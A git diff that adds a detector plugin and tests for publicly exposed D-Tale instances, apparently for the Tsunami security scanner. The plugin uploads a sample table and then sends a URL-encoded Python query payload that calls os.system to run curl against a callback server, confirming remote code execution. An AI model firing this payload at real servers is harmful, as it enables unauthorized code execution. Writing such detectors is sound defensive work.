diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto new file mode 100644 index 000000000..7df7a2e4b --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI.textproto @@ -0,0 +1,133 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Dtale_ExposedUI" + author: "VickyTheViking" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "DTALE_EXPOSED_UI" + } + severity: CRITICAL + title: "Remote code execution affecting Dtale" + description: "D-Tale is a visualizer for Pandas data structures. Users hosting D-Tale publicly can be vulnerable to remote code execution allowing attackers to run malicious code on the server, this is because D-Tale has a query engine and the query engine allow to run python scripts by design." + recommendation: "You can change the query engine or Enable Authentication in the application to prevent unauthorized access. Check out this link for more information: https://github.com/man-group/dtale/blob/master/docs/CONFIGURATION.md" +} + +config: {} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_dtale" + http_request: { + method: GET + uri: "/dtale/popup/upload" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: '' }, + { body: {} contains: "" } + ] + } + } + } +} + +actions: { + name: "create_sample_table" + http_request: { + method: POST + uri: "/dtale/upload" + headers: [ + { name: "Content-Type" value: "multipart/form-data; boundary=-" } + ] + data: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "\"success\":" } + ] + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"data_id\":\"([0-9_]+)\"" + variable_name: "dataid" + } + ] + } + } + } +} + +actions: { + name: "trigger_code_execution" + http_request: { + method: GET + uri: "/dtale/chart-data/{{ dataid }}?query={{ payload }}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "\"error\":\"" } + ] + } + } + } + cleanup_actions: ["cleanup_sample_table"] +} + +actions: { + name: "cleanup_sample_table" + http_request: { + method: GET + uri: "/dtale/cleanup-datasets?dataIds={{ dataid }}" + response: { + http_status: 200 + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + variables: [ + { name: "payload" value: "%40pd.core.frame.com.builtins.__import__%28%22os%22%29.system%28%22%22%22curl%20{{ T_CBS_URI }}%20%23%22%22%22%29" } + ] + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_dtale", + "create_sample_table", + "trigger_code_execution", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto new file mode 100644 index 000000000..b5dff29cc --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Dtale_ExposedUI_test.textproto @@ -0,0 +1,84 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Dtale_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/dtale/popup/upload" + status: 200 + body_content: '' + "" + }, + { + uri: "/dtale/upload" + status: 200 + body_content: '{"data_id":"112233","success":true}' + condition: { + headers: [ + { name: "Content-Type" value: "multipart/form-data; boundary=-" } + ] + body_content: '---\nContent-Disposition: form-data; name="data.csv"; filename="data.csv"\nContent-Type: text/csv\n\ntest,data\n\n---\nContent-Disposition: form-data; name="header"\n\ntrue\n---\nContent-Disposition: form-data; name="separatorType"\n\ncomma\n---\nContent-Disposition: form-data; name="separator"\n\n-----\n' + } + }, + { + uri: "/dtale/chart-data/112233?query={{ payload }}" + status: 200 + body_content: "\"error\":\"" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/dtale/popup/upload" + status: 200 + body_content: '' + "" + } + ] + } +} + +tests: { + name: "whenNotDocsGPT_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +}